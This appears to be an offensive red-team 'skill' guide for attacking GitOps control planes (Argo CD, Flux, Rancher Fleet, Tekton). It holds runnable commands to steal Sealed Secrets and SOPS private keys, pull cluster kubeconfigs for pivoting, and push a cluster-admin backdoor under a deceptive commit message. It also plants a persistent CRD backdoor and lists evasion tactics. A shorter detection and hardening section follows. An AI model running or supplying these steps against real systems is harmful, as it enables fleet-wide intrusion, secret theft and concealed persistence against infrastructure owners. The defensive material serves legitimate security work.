GitOps Security Attack Skill
Red-team operations against GitOps control planes — the declarative CD layer that owns entire Kubernetes fleets. While adjacent skills cover the CI build side (
ci-cd-supply-chain-attack) or container runtime (container-security), gitops-security targets the runtime reconciliation loop: the control plane that watches a Git source of truth and continuously reconciles thousands of clusters to that state. Compromise here = silent fleet-wide backdoor.
Summary
GitOps (Argo CD, FluxCD, Jenkins X, Tekton, Fleet, Argo Rollouts, Flux Helm Controller, Argo Image Updater) is the dominant Kubernetes continuous-deployment pattern of 2024-2026. The control plane holds:
- Cluster-admin equivalent RBAC (it must, to deploy workloads)
- Direct Git access with deploy keys / PATs across hundreds of repos
- Cluster-API credentials to every production cluster it manages
- Plaintext or recoverable secrets (Sealed Secrets private keys, SOPS AGE/GPG private keys, External Secrets OAuth tokens, Vault tokens)
A single GitOps compromise typically yields multi-cluster cluster-admin. This skill covers the full attack chain — recon against the control plane, repo impersonation, manifest tampering at every stage (commit → hook → render → apply → sync), RBAC bypass in CRD admission, secret-store compromise, and persistence via CRD backdoors that survive cluster rebuilds.
Distinct from adjacent skills:
| Skill | Scope |
|---|---|
ci-cd-supply-chain-attack |
Build-time attacks (GitHub Actions, Jenkins build, dependency confusion, SBOM poisoning) |
container-security |
Container runtime, image layers, escape from inside a pod |
cloud-identity-attack |
Cloud IAM (AWS IAM, Azure AD, GCP IAM) — GitOps is downstream |
gitops-security (this) |
Runtime reconciliation plane: Argo CD Application CRDs, Flux Kustomization/HelmRelease, sync waves, secret stores, multi-cluster fleet orchestration |
Use Cases
Reconnaissance & Discovery
- Identify GitOps controller from outside — fingerprint via API endpoints, well-known paths, response headers
- Enumerate Applications / Kustomizations / HelmReleases in-cluster via CRD discovery
- Map source-of-truth repos — recover repo URLs, deploy keys, branch names, sync policies
- Discover secret management stack — Sealed Secrets / SOPS / External Secrets / Vault — and locate private keys / tokens
- Enumerate RBAC across ApplicationSet, Kustomization, AppProject controllers
- Detect multi-cluster registries — Argo CD ApplicationSet cluster list, FluxCluster gateway, Rancher Fleet cluster groups
Initial Access
- Public Argo CD / Flux dashboard exposure with default credentials or unauthenticated API
- Repo impersonation via leaked deploy SSH key or PAT (write-access to source-of-truth repo = fleet compromise)
- Helm chart tampering — malicious chart pulled by HelmRelease from a public registry
- Kustomize remote base attack —
kustomization.yamlpulling from attacker-controlled GitHub raw - CI artifact injection — Argo CD Image Updater polling a poisoned tag
- Webhook replay / signature bypass — Git provider → Argo CD / Flux webhook endpoint
Privilege Escalation
- Argo CD cluster RBAC escape — ApplicationSet Git generator → arbitrary cluster-admin apply
- Argo Rollouts CRD abuse — AnalysisTemplate → external metric call → cluster credential exfil
- Flux HelmRelease valuesKey injection —
valuesKey: ../../etc/passwdstyle path traversal - Tekton Pipeline privileged task —
securityContext: privileged: truevia PR - Argo CD AppProject sync-window bypass — race between sync and window change
- Rancher Fleet Bundle cluster-group escalation —
defaultServiceAccountinjection - Sealed Secrets private-key recovery —
kubeseal --recoverfrom a compromised controller pod - SOPS AGE/GPG private-key theft — mounted as
age.agekeysecret
Persistence
- CRD-level backdoor — custom resource that materializes a privileged ServiceAccount on every cluster
- Helm post-render hook —
post-installjob that re-creates backdoor if deleted - Argo CD
PreSynchook — runs before every sync, maintainscluster-adminrolebinding - Flux
dependsOncycle — recursive Kustomization that re-applies attacker manifests - Sync-wave
wave: -100injection — runs before legitimate manifests
Defense Evasion
- Self-healing as cover — Argo CD auto-sync deletes incident-response changes ("why does my pod keep coming back?")
- Argo CD
operationStatemanipulation — fake successful sync to hide failed malicious manifest - Flux Kustomization healthCheck blind spot — hide unhealthy workload behind
prune: false - Tekton Results tampering — modify
TaskRun.statusafter pipeline runs - Audit log suppression via
kubectl --as=system:anonymoususer impersonation
Collection & Exfiltration
- Cluster-wide secret dump via ApplicationSet cluster-scoped sync
- Git source-of-truth full clone via recovered deploy key
- Cross-cluster lateral — Fleet cluster-group → all downstream clusters
- Helm values secret extraction — HelmRelease
valuesFromsecret ref - Vault KV dump via External Secrets Operator → Vault role
Core Tools
GitOps Controllers (Targets)
| Tool | Vendor / Project | Role |
|---|---|---|
| Argo CD | CNCF Graduated | Pull-based GitOps, Application CRD, AppProject, ApplicationSet |
| Argo Rollouts | CNCF Incubating | Progressive delivery, AnalysisTemplate |
| Argo Image Updater | Argo Project | Automated image tag bumps |
| FluxCD (v2) | CNCF Graduated | Push-based GitOps, Kustomization/HelmRelease/Source |
| FluxCD Notifications | Flux Project | Webhook + Slack/PagerDuty events |
| Jenkins X | CloudBees | GitOps + LTS Jenkins on top |
| Tekton | CD Foundation | Pipeline / Task / Trigger CRDs |
| Rancher Fleet | SUSE | Multi-cluster fleet GitOps |
| Carvel ytt / kapp | VMware | Templating + apply (often behind kapp-controller) |
| kapp-controller | Carvel | PackageRepository CRD |
Secret Stores (Targets)
| Tool | Purpose | Compromise Value |
|---|---|---|
| Sealed Secrets (Bitnami) | Asymmetric-encrypted-in-Git secrets | Private key = decrypt every sealed secret in Git history |
| SOPS (Mozilla / getsops) | AGE / GPG / cloud KMS encrypted YAML | Private key (or KMS grant) = decrypt all SOPS files |
| External Secrets Operator | Sync from Vault / AWS SM / GCP SM / Azure KV | Token / role = full secret-store access |
| HashiCorp Vault | Centralized secrets with dynamic leases | Root token / privileged role = full compromise |
| Cloud KMS / KMSabuse | Cloud-hosted key wrapping | KMS decrypt permission = unwrap all secrets |
| CSI Secrets Store | Pod-mounted secrets via kubelet | Driver pod compromise = hostPath of secrets |
Offensive Toolkit
# Cluster enum
kubectl api-resources --verbs=list -o name | xargs -n1 kubectl get -o name
kubectl get applications -A -o yaml # Argo CD
kubectl get applicationsets -A -o yaml
kubectl get kustomizations -A -o yaml # Flux
kubectl get helmreleases -A -o yaml
kubectl get gitrepositories -A -o yaml
kubectl get bundles -A -o yaml # Fleet
kubectl get clustergroups -A -o yaml
kubectl get pipelines -A -o yaml # Tekton
# Secret recovery
kubectl get secrets -A | grep -iE '(sealed|sops|age|vault|external)'
kubectl exec -n argocd argocd-server-xxx -- cat /app/config/argocd-cm-cm.yaml
kubectl get secret -n kube-system sealed-secrets-key -o yaml
kubectl get clustersecretstore -A -o yaml # External Secrets
# Argo CD API
curl -sk https://argocd.example.com/api/v1/applications -H "Authorization: $ARGO_TOKEN"
argocd account get-user-info --server argocd.example.com --auth-token "$ARGO_TOKEN"
argocd app list --server argocd.example.com --auth-token "$ARGO_TOKEN"
argocd proj role get-default --server argocd.example.com
# Flux API (via kubectl proxy)
kubectl proxy --port=8001 &
curl -s http://localhost:8001/api/v1/namespaces/flux-system/services/http:notification-controller:80/http:/
# Helm reconciliation
flux logs --kind=HelmRelease -n flux-system --follow
flux get helmreleases -A
kubectl get events -n flux-system --field-selector reason=ReconciliationSucceeded
# Sealed Secrets recovery (controller access)
kubectl exec -n kube-system deploy/sealed-secrets-controller -- \
/bin/sh -c 'cat /tmp/$(ls /tmp | grep -E "^sealed-secret.*key")'
# SOPS AGE key recovery
kubectl get secret -n flux-system sops-age -o yaml | yq -r '.data."age.agekey"' | base64 -d
Methodology
Phase 1 — Reconnaissance (External + Internal)
Identify the GitOps control plane, its version, RBAC model, and source-of-truth repos. From outside: fingerprint via /api/v1/, /-/healthy, default ports (2746 Argo, 9000-9090 Flux webhook). From inside a pod: enumerate CRDs (kubectl api-resources), find the controller namespace (kube-system, argocd, flux-system, fleet-system, tekton-pipelines).
Goal: produce a target map listing every Application / Kustomization / HelmRelease with its source repo, destination cluster, and sync policy.
Phase 2 — Source-of-Truth Compromise
The Git repo is the single source of truth — write access = fleet compromise. Attack vectors:
- Leaked deploy SSH key / PAT — search GitHub code, gists, Shodan for
argo-deploy,flux-deploypatterns - Mis-scoped token — Git provider token with
repo:writeinstead ofrepo:read - Webhook subdomain takeover —
webhook.example.comCNAME → expired Heroku / GitLab Pages - Branch-protection bypass —
force-pushpermission onHEADbranch - PR reviewer exhaustion — typo-squat Kustomization PR to a busy reviewer
Goal: obtain write access to the source-of-truth repo, or compromise the GitOps controller's deploy-key secret in-cluster.
Phase 3 — Manifest Tampering (the kill chain)
Once you can mutate manifests, choose where along the chain:
| Stage | Technique | Detection surface |
|---|---|---|
| Git commit | Plausible-looking manifest in production/ |
Git commit audit |
pre-commit hook |
Tamper before commit lands | Hard (Git hook = local) |
| Webhook payload | Forge Git provider event | Webhook signature validation |
| Source fetch | MitM Git fetch | SSHFP / known_hosts |
| Kustomize / Helm build | Remote base / chart tampering | Pipeline artifact lock |
| Render | valuesKey traversal, postRender injection |
Render diff before apply |
| Apply | Custom resource → privileged SA | Admission webhook |
| Sync | PreSync hook → cluster-admin |
Sync hook audit |
| Post-sync | Helm post-install hook → re-create backdoor | Hook audit |
Phase 4 — Privilege Escalation
If initial GitOps RBAC is limited (e.g., namespace-scoped), escalate via:
- ApplicationSet Git generator —
template.clusterenumerates every cluster Argo knows - Cluster-role aggregation — label a role to attach to
system:authenticated - HelmRelease valuesFrom — read arbitrary secrets in the cluster
- Tekton Pipeline privileged SCC —
securityContext.privileged: truetask - AppProject sync-window race — sync outside window while window updates
- Sealed Secrets private-key recovery —
kubeseal --recoverfrom inside controller pod
Phase 5 — Persistence
Self-healing GitOps is a defender's dream until it's weaponized:
- CRD backdoor: a custom resource that, on creation, materializes a
cluster-adminrolebinding — every sync re-applies it - Sync-wave
wave: -100: runs before everything else, perfect for re-establishing aserviceaccount/tokensecret - Post-render injection: Helm
postRenderkustomize patch that addshostPath: /mounts - Self-recovering Kustomization:
dependsOnchain that re-applies attacker YAML even after manualkubectl delete
Phase 6 — Secret Store Compromise
Target the secret-management layer:
- Sealed Secrets: recover controller private key, decrypt any sealed secret offline
- SOPS: extract AGE/GPG private key from controller namespace, decrypt all SOPS files
- External Secrets: steal
ClusterSecretStorecredentials → upstream Vault/AWS SM - Vault: token-grab from External Secrets Operator → escalate to root
- CSI Secrets Store: compromise driver pod → hostPath all kubelet secrets
Phase 7 — Multi-Cluster Pivot
Argo CD ApplicationSet and Rancher Fleet can deploy to thousands of clusters. Pivot:
- Enumerate
cluster secretsinargocdnamespace — each is a full kubeconfig - Use Flux
GitRepositorysecrets to read every cluster's deploy key - Use Fleet
Bundleto deploy a backdoor CRD across all cluster groups - Use Argo
ApplicationSet.clustergenerator to deploy a cluster-scoped backdoor
Practical Steps
Step A — Fingerprint the GitOps stack (anonymous)
# Argo CD
curl -sk https://argocd.example.com/api/v1/version
# → {"Version":"v2.11.0+...", ...}
# Flux notification webhook (default port 9000-9090)
curl -sk https://flux.example.com/hook/ -X POST -d '{}' -H "X-Flux-Trigger: random"
# Rancher Fleet
curl -sk https://fleet.example.com/api/health
# Tekton dashboard
curl -sk https://tekton.example.com/apis/tekton.dev/v1/namespaces/tekton-pipelines/pipelines
Step B — Discover in-cluster GitOps (post-initial-access)
# List all GitOps CRDs
kubectl api-resources --api-group=argoproj.io
kubectl api-resources --api-group=fluxcd.io
kubectl api-resources --api-group=fleet.cattle.io
kubectl api-resources --api-group=tekton.dev
# Argo CD Applications with destination
kubectl get applications -A -o custom-columns=NS:.metadata.namespace,NAME:.metadata.name,DEST_NS:.spec.destination.namespace,DEST_CLUSTER:.spec.destination.server,REPO:.spec.source.repoURL,PATH:.spec.source.path
# Flux Kustomizations
kubectl get kustomizations -A -o custom-columns=NS:.metadata.namespace,NAME:.metadata.name,SOURCE:.spec.sourceRef.name,PATH:.spec.path,TARGET_NS:.spec.targetNamespace
# Flux HelmReleases
kubectl get helmreleases -A -o custom-columns=NS:.metadata.namespace,NAME:.metadata.name,CHART:.spec.chart.spec.chart,VERSION:.spec.chart.spec.version
Step C — Tamper manifests at the right stage
# 1. Direct Git commit (write access required)
git clone git@github.com:example/gitops-prod.git
cd gitops-prod
cat > production/backdoor.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: argo-default
namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: argo-default-admin
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: argo-default
namespace: kube-system
EOF
git add . && git commit -m "fix: align RBAC with new audit policy"
git push
# Wait for next Argo sync (typically < 3 min)
kubectl get rolebindings -n kube-system | grep cluster-admin
Step D — Recover Sealed Secrets private key
# Get the active private key secret
SEALED_KEY=$(kubectl get secret -n kube-system \
-l sealedsecrets.bitnami.com/sealed-secret-key=active \
-o name | head -1)
# Extract the private key
kubectl get $SEALED_KEY -n kube-system -o yaml | yq -r '.data."tls.key"' | base64 -d > sealed-private-key.pem
kubectl get $SEALED_KEY -n kube-system -o yaml | yq -r '.data."tls.crt"' | base64 -d > sealed-cert.pem
# Decrypt any sealed secret offline
kubectl get sealedsecret production-db -n prod -o yaml > prod-db.sealed.yaml
kubeseal --recovery-private-key sealed-private-key.pem \
--recovery-cert sealed-cert.pem \
< prod-db.sealed.yaml > prod-db.decrypted.yaml
cat prod-db.decrypted.yaml
Step E — Recover SOPS AGE key
# Locate the AGE key secret (often in flux-system)
kubectl get secret -n flux-system -o yaml | grep -E '(age|sops)' | head
kubectl get secret sops-age -n flux-system -o yaml | yq -r '.data."age.agekey"' | base64 -d > age.key
chmod 600 age.key
export SOPS_AGE_KEY_FILE=$PWD/age.key
# Decrypt any SOPS file
git clone git@github.com:example/gitops-prod.git
cd gitops-prod
sops --decrypt secrets/production.yaml
Step F — Pivot via ApplicationSet cluster list
# Enumerate clusters Argo knows about
kubectl get secret -n argocd -l argocd.argoproj.io/secret-type=cluster
# Each contains a kubeconfig with cluster-admin
kubectl get secret cluster-prod-us-east-1 -n argocd -o yaml | \
yq -r '.data.config' | base64 -d > prod-us-east-1.kubeconfig
# Pivot
kubectl --kubeconfig=prod-us-east-1.kubeconfig get pods -A
Step G — Persistence via CRD backdoor
# backdoor-crd.yaml — survives cluster rebuilds
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
name: backdoors.kali.claw
spec:
group: kali.claw
names:
kind: Backdoor
plural: backdoors
scope: Namespaced
versions:
- name: v1
served: true
storage: true
schema:
openAPIV3Schema:
type: object
properties:
spec:
type: object
properties:
image:
type: string
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: backdoor-controller
namespace: kube-system
spec:
template:
spec:
serviceAccountName: argo-default # already cluster-admin via Step C
containers:
- name: controller
image: kali/claw-backdoor:latest
Defense Perspective
Detection (Blue Team)
Argo CD
- Audit
applicationandapplicationsetcreate/update events - Log every
argocd app syncand the diff it applied - Alert on
syncPolicy.syncOptions: [CreateNamespace=true]to new namespaces - Alert on
cluster-adminrolebindings materialized via sync - Monitor
argocd-serverlogs forpermission denied→succeededpattern
Flux
kubectl get events -n flux-system --field-selector reason=HelmReleaseReconciliationFailed- Audit
GitRepository.spec.urlchanges — alert on new domains - Alert on
Kustomization.spec.dependsOncycle (lateral movement) - Monitor
notification-controllerfor unexpected webhook source IPs
Sealed Secrets
- Alert on
kubectl execintosealed-secrets-controllerpod - Alert on
kubectl get secret -l sealedsecrets.bitnami.com/sealed-secret-key=active - Audit
kubeseal --recovery-private-keyinvocations
SOPS
- Alert on
SOPS_AGE_KEY_FILEenv var on pods that aren't the controller - Audit
kubectl get secret sops-age -n flux-system - Cloud KMS: alert on
kms:Decryptbursts from the GitOps namespace's IAM role
External Secrets
- Audit
ClusterSecretStorecreate/update — alert on new upstream URIs - Monitor External Secrets Operator logs for
refreshing secretoutside sync window - Cloud: alert on Vault token use from unexpected source IP
Hardening
- Network — GitOps API not exposed publicly; webhook endpoint behind mTLS
- RBAC — GitOps ServiceAccount is
cluster-adminonly on deploy namespaces; use AppProject source namespaces restriction - Image policy — all controller images from private registry with Cosign verification
- Source integrity — GPG-signed commits required; Argo CD
gpgPublicKeySecretenforced - Admission — OPA Gatekeeper / Kyverno policies rejecting privileged SCC, hostPath, hostNetwork
- Sync windows — manual sync only during approved windows; auto-sync disabled for
production - Secret stores — Sealed Secrets key scoped to namespaces; AGE key rotated quarterly; External Secrets short-lived tokens
- Audit — Audit log forwarded off-cluster (defender cannot tamper)
- Drift detection —
argocd app diffcron against last-known-good Git HEAD - Multi-cluster — fleet GitOps uses per-cluster RBAC, not cluster-admin everywhere
Incident Response
When GitOps compromise is suspected:
- Freeze Git — branch protection to read-only on source-of-truth
- Pause all controllers —
kubectl scale deploy/argocd-application-controller --replicas=0 -n argocd;kubectl scale deploy/source-controller --replicas=0 -n flux-system - Diff last 50 commits —
git log --since='2 weeks ago' --pretty=format:'%h %an %s' - Audit all CRDs —
kubectl get applications,kustomizations,helmreleases,bundles -A→ diff againstgit HEAD - Rotate — deploy keys, AGE/Sealed keys, Vault tokens, External Secrets OAuth tokens
- Hunt — for CRD backdoors, post-render hooks, sync-wave
wave: -100manifests - Restore — from last-known-good Git HEAD; force-resync; monitor reconciliation
- Post-mortem — full CRD audit, controller RBAC review, webhook signature policy
Detection Methods
GitOps Controller Audit
- Argo CD anomalies: Unauthorized
Applicationcreation; sync to non-allowlisted repos; cluster-wide scope granted. - Flux CD anomalies: New
HelmRelease/Kustomizationfrom untrusted GitRepository; cross-namespace references. - Fleet/Rancher: Multi-cluster deploy from untrusted source; alert on new cluster registration.
SIEM Detection Rules
- Splunk SPL:
index=k8s sourcetype=kube:audit verb=create resource=applications.argoproj.io - Kyverno admission policies: Block
privileged: true, hostPath mounts, runAs root. - Argo CD notifications: Alert on sync to non-production cluster.
Defense Evasion Techniques
GitOps Controller Compromise
- Legitimate-looking commits: Push as part of normal release cadence; appears as routine update.
- Modify Helm values: Modify only
values.yaml(looks benign) to inject malicious config. - Cross-namespace abuse: Use existing service account with broad permissions; no new RBAC.
- Sync window abuse: Trigger sync during maintenance window; blends with normal activity.
Supply Chain Stealth
- Helm chart poisoning: Push malicious chart to internal chart repo; appears as legitimate version bump.
- Dependency confusion: Register public package with same name as private; bypass internal registry.
- Image tag rotation: Modify existing tag (
latest,v1.2.3) to point to malicious image; evades signature pinning.
References
- Argo CD Security Advisories — https://github.com/argoproj/argo-cd/security/advisories
- FluxCD Security Advisories — https://github.com/fluxcd/flux2/security/advisories
- CVE-2022-24348 Argo CD path traversal → cluster config leak
- CVE-2024-21626 runc container escape (impacts GitOps runners)
- CVE-2024-32564 Argo CD CM bypass
- CVE-2024-37286 FluxCD Helm Controller
- Akuukam — Real-world Argo CD compromise case study (2023)
- Aqua Security — GitOps Attack Surface (2024)
- Palo Alto Unit 42 — Argo CD Misconfigurations in the Wild (2024)
- Bitnami Sealed Secrets threat model
- SOPS threat model (getsops)
- MITRE ATT&CK for Containers — https://attack.mitre.org/matrices/enterprise/cloud/
- NSA Kubernetes Hardening Guide v1.2 (2024)